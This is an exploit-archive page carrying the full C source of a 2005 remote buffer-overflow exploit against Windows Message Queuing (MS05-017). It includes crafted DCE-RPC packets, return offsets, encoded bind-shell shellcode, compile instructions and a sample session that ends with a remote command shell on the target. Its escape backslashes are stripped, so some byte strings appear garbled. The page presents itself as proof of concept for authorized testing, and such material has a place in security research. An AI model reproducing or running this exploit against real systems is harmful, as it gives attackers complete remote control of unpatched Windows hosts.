[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows Message Queuing BoF Universal Exploit (MS05-017) (v.0.3)
# Published : 2005-06-29
# Author : houseofdabus
# Previous Title : Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit
# Next Title : MS Outlook Express NNTP Buffer Overflow Exploit (MS05-030)
/* HOD-ms05017-msmq-expl.c: 2005-06-28: PUBLIC v.0.3
*
* Copyright (c) 2004-2005 houseofdabus.
*
* (MS05-017) Message Queuing Buffer Overflow Vulnerability
* Universal Exploit
*
*
*
* .::[ houseofdabus ]::.
*
*
*
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
* - Windows XP SP1
* - Windows 2000 SP4
* - Windows 2000 SP3
*
* ---------------------------------------------------------------------
* Description:
* A remote code execution vulnerability exists in Message Queuing
* that could allow an attacker who successfully exploited this
* vulnerability to take complete control of the affected system.
*
* ---------------------------------------------------------------------
* Solution:
* http://www.microsoft.com/technet/security/Bulletin/MS05-017.mspx
*
* ---------------------------------------------------------------------
* Tested on:
* - Windows XP SP1
* - Windows XP SP0
* - Windows 2000 PRO SP4
* - Windows 2000 PRO SP3
* - Windows 2000 Server SP4
* - Windows 2000 AdvServer SP4
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++ : cl -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Win32/cygwin: gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
* Linux : gcc -o HOD-ms05017-msmq-expl HOD-ms05017-msmq-expl.c
*
* ---------------------------------------------------------------------
* Example:
*
* C:>HOD-ms05017-msmq-expl 192.168.0.1 2103 HOD 7777
*
* [*] Connecting to 192.168.0.22:2103 ... OK
* [*] Attacking...OK
*
* C:>telnet 192.168.0.1 7777
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:WINNTsystem32>net stop msmq
*
* The Message Queuing service was stopped successfully.
*
* C:WINNTsystem32>net start msmq
* The Message Queuing service is starting..
* The Message Queuing service was started successfully.
*
* C:WINNTsystem32>
*
* For some system (Windows 2000 Server/AdvServer):
*
* C:>HOD-ms05017-msmq-expl.exe 192.168.0.1 2103 HOD 9999 8
*
* [*] Connecting to 192.168.0.210:2103 ... OK
* [*] Attacking...........OK
*
* C:>telnet 192.168.0.1 9999
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/
/* #define _WIN32 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef _WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif
#define NOP 0x90
#define _DCE_RPC_BIND 0x0B
typedef struct dce_rpc {
unsigned char ver;
unsigned char ver_minor;
unsigned char pkt_type;
unsigned char pkt_flags;
unsigned long data_repres;
unsigned short frag_len;
unsigned short auth_len;
unsigned long caller_id;
} DCE_RPC, *PDCE_RPC;
typedef struct dce_rpc_bind {
unsigned short max_xmit;
unsigned short max_recv;
unsigned long asc_group;
unsigned long num_con_items;
unsigned short con_id;
unsigned short num_trn_items;
/* unsigned char *interface_uuid; */
/* unsigned short interface_ver; */
/* unsigned short interface_ver_min; */
/* unsigned char *uuid; */
/* unsigned long syntax_ver; */
} DCE_RPC_BIND, *PDCE_RPC_BIND;
unsigned char dce_rpc_header1[] =
"x05x00x00x01x10x00x00x00x18x04x00x00x00x00x00x00"
"x00x04x00x00x00x00x09x00x01x00x00x00x01x00x00x00"
"x01x00x00x00x03x00x00x00x03x00x00x00x02x00x00x00"
"xE4x07x00x00x00x00x00x00xE4x07x00x00"
"x4Fx00x53x00x3Ax00";
/* ... Remote NetBIOS name */
unsigned char tag_private[] =
/* PRIVATE$ */
"x5Cx00"
"x50x00x52x00x49x00x56x00x41x00x54x00x45x00x24x00"
"x5Cx00";
unsigned char dce_rpc_header2[] =
"x05x00x00x00x10x00x00x00x18x04x00x00x00x00x00x00"
"x00x04x00x00x00x00x09x00";
unsigned char dce_rpc_header3[] =
"x05x00x00x02x10x00x00x00x04x04x00x00x00x00x00x00"
"xECx03x00x00x00x00x09x00";
unsigned char offsets[] =
/* entry point (jmp over) */
"xEBx08x90x90"
/* for Windows 2000 */
/* mqsvc.exe - pop reg; pop reg; retn; */
"xE9x14x40x00"
"x90x90x90x90x90x90x90x90"
/* entry point (jmp over) */
"xEBx08x90x90"
/* for Windows 2000 Server/AdvServer */
/* mqsvc.exe - pop reg; pop reg; retn; */
"xE9x14x40x00"
"x90x90xEBx1Ax41x40x68x6Fx75x73x65x6Fx66x64x61x62"
"x75x73x48x41"
/* entry point (jmp over) */
"xEBx06x90x90"
/* for Windows XP */
/* mqsvc.exe - pop reg; pop reg; retn; */
"x4dx12x00x01"
"x90x90x90x90x90x90";
unsigned char bind_shellcode[] =
"x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x19"
"xf5x04x37x83xebxfcxe2xf4xe5x9fxefx7axf1x0cxfbxc8"
"xe6x95x8fx5bx3dxd1x8fx72x25x7ex78x32x61xf4xebxbc"
"x56xedx8fx68x39xf4xefx7ex92xc1x8fx36xf7xc4xc4xae"
"xb5x71xc4x43x1ex34xcex3ax18x37xefxc3x22xa1x20x1f"
"x6cx10x8fx68x3dxf4xefx51x92xf9x4fxbcx46xe9x05xdc"
"x1axd9x8fxbex75xd1x18x56xdaxc4xdfx53x92xb6x34xbc"
"x59xf9x8fx47x05x58x8fx77x11xabx6cxb9x57xfbxe8x67"
"xe6x23x62x64x7fx9dx37x05x71x82x77x05x46xa1xfbxe7"
"x71x3exe9xcbx22xa5xfbxe1x46x7cxe1x51x98x18x0cx35"
"x4cx9fx06xc8xc9x9dxddx3execx58x53xc8xcfxa6x57x64"
"x4axa6x47x64x5axa6xfbxe7x7fx9dx1ax55x7fxa6x8dxd6"
"x8cx9dxa0x2dx69x32x53xc8xcfx9fx14x66x4cx0axd4x5f"
"xbdx58x2axdex4ex0axd2x64x4cx0axd4x5fxfcxbcx82x7e"
"x4ex0axd2x67x4dxa1x51xc8xc9x66x6cxd0x60x33x7dx60"
"xe6x23x51xc8xc9x93x6ex53x7fx9dx67x5ax90x10x6ex67"
"x40xdcxc8xbexfex9fx40xbexfbxc4xc4xc4xb3x0bx46x1a"
"xe7xb7x28xa4x94x8fx3cx9cxb2x5ex6cx45xe7x46x12xc8"
"x6cxb1xfbxe1x42xa2x56x66x48xa4x6ex36x48xa4x51x66"
"xe6x25x6cx9axc0xf0xcax64xe6x23x6exc8xe6xc2xfbxe7"
"x92xa2xf8xb4xddx91xfbxe1x4bx0axd4x5fxf6x3bxe4x57"
"x4ax0axd2xc8xc9xf5x04x37";
#define SET_PORTBIND_PORT(buf, port)
*(unsigned short *)(((buf)+186)) = (port)
int
hex2raw(unsigned char *s, unsigned char *out)
{
unsigned long i, len, j = 0;
unsigned long ret = 0;
len = strlen(s);
for (i = 0; i < len; i+=2) {
if ((s[i] >= 0x30) && (s[i] <= 0x39))
j = s[i] - 0x30;
else
j = s[i] - 0x61 + 10;
j *= 16;
if ((s[i+1] >= 0x30) && (s[i+1] <= 0x39))
j += s[i+1] - 0x30;
else
j += s[i+1] - 0x61 + 10;
out[ret] = (unsigned char)j;
ret++;
}
return ret;
}
void
inverse(unsigned char *io, unsigned long len)
{
unsigned long i;
unsigned char c;
for (i = 0; i < len/2; i++) {
c = io[len-i-1];
io[len-i-1] = io[i];
io[i] = c;
}
}
int
encode_uuid(unsigned char *uuid, unsigned char *out)
{
unsigned long i, len, ret;
unsigned cnt = 0, ar = 0;
unsigned char *ptr;
ptr = uuid;
len = strlen(uuid);
for (i = 0; i < len; i++) {
if (uuid[i] == '-') {
uuid[i] = ' ';
if (ar < 3) {
ret = hex2raw(ptr, out);
inverse(out, ret);
out += ret; cnt += ret;
}
else {
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
}
ptr = uuid+i+1;
ar++;
}
}
out[len] = ' ';
ret = hex2raw(ptr, out);
out += ret; cnt += ret;
return cnt;
}
unsigned char *
dce_rpc_bind(
unsigned long cid,
unsigned char *uuid,
unsigned short ver,
unsigned long *pkt_len)
{
unsigned char vuid[] = "8a885d04-1ceb-11c9-9fe8-08002b104860";
unsigned char *pkt, *euuid, *tmp;
unsigned long cnt;
unsigned short ret;
PDCE_RPC_BIND rpc_bind;
PDCE_RPC rpc;
pkt = (unsigned char *)calloc(2048, 1);
euuid = (unsigned char *)calloc(strlen(uuid)/2+2, 1);
tmp = pkt;
pkt += sizeof(DCE_RPC);
rpc_bind = (PDCE_RPC_BIND)pkt;
rpc_bind->max_xmit = 0x16D0;
rpc_bind->max_recv = 0x16D0;
rpc_bind->asc_group = 0;
rpc_bind->num_con_items = 1;
rpc_bind->con_id = 0;
rpc_bind->num_trn_items = 1;
pkt += sizeof(DCE_RPC_BIND);
cnt = encode_uuid(uuid, pkt);
pkt += cnt;
memcpy(pkt, &ver, sizeof(short));
pkt += sizeof(short);
*pkt++ = 0; *pkt++ = 0;
cnt = encode_uuid(vuid, pkt);
pkt += cnt;
*pkt++ = 2; *pkt++ = 0;
ret = pkt - tmp;
rpc = (PDCE_RPC)tmp;
rpc->ver = 5;
rpc->ver_minor = 0;
rpc->pkt_type = _DCE_RPC_BIND;
rpc->pkt_flags = 3;
rpc->data_repres = 16;
rpc->frag_len = ret + 2;
rpc->auth_len = 0;
rpc->caller_id = cid;
*pkt_len = ret + 2;
free(euuid);
return tmp;
}
void
convert_name(char *out, char *name)
{
unsigned long len;
len = strlen(name);
out += len * 2 - 1;
while (len--) {
*out-- = 'x00';
*out-- = name[len];
}
}
int
main (int argc, char **argv)
{
unsigned char endp[] = "fdb3a030-065f-11d1-bb9b-00a024ea5525";
unsigned char *packet = NULL;
unsigned short bindport;
unsigned long cnt;
struct sockaddr_in addr;
struct hostent *he;
int len, cpkt = 1;
int sockfd;
char recvbuf[4096];
char *buff, *ptr;
#ifdef _WIN32
WSADATA wsa;
#endif
printf("n (MS05-017) Message Queuing Buffer Overflow Vulnerabilitynn");
printf("t Copyright (c) 2004-2005 .: houseofdabus :.nnn");
if (argc < 5) {
printf("%s <host> <port> <netbios name> <bind port> [count]n", argv[0]);
printf("nMSMQ ports: 2103, 2105, 2107n");
printf("count - number of packets. for Win2k Server/AdvServer = 6-8nn");
exit(0);
}
#ifdef _WIN32
WSAStartup(MAKEWORD(2,0), &wsa);
#endif
if ((he = gethostbyname(argv[1])) == NULL) {
printf("[-] Unable to resolve %sn", argv[1]);
return 0;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
printf("[-] create socket failedn");
exit(0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons((short)atoi(argv[2]));
addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(addr.sin_zero), ' ', 8);
printf("n[*] Connecting to %s:%u ... ", argv[1], atoi(argv[2]));
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) {
printf("n[-] connect failed!n");
exit(0);
}
printf("OKn");
packet = dce_rpc_bind(0, endp, 1, &cnt);
if (send(sockfd, packet, cnt, 0) == -1) {
printf("[-] send failedn");
exit(0);
}
len = recv(sockfd, recvbuf, 4096, 0);
if (len <= 0) {
printf("[-] recv failedn");
exit(0);
}
free(packet);
printf("[*] Attacking...");
buff = (char *) malloc(4172);
memset(buff, NOP, 4172);
ptr = buff;
memcpy(ptr, dce_rpc_header1, sizeof(dce_rpc_header1)-1);
ptr += sizeof(dce_rpc_header1)-1;
// Remote NetBIOS name
convert_name(ptr, argv[3]);
ptr += strlen(argv[3])*2;
memcpy(ptr, tag_private, sizeof(tag_private)-1);
ptr += sizeof(tag_private)-1;
memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);
memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);
// offsets
ptr = buff;
ptr += 438;
memcpy(ptr, offsets, sizeof(offsets)-1);
ptr += sizeof(offsets)-1;
// shellcode
bindport = (unsigned short)atoi(argv[4]);
bindport ^= 0x0437;
SET_PORTBIND_PORT(bind_shellcode, htons(bindport));
memcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);
buff[4170] = ' ';
buff[4171] = ' ';
if (argc == 6) cpkt = atoi(argv[5]);
while (cpkt--) {
printf(".");
if (send(sockfd, buff, 4172, 0) == -1) {
printf("n[-] send failedn");
exit(0);
}
}
printf(" OKn");
return 0;
}
// www.Syue.com [2005-06-29]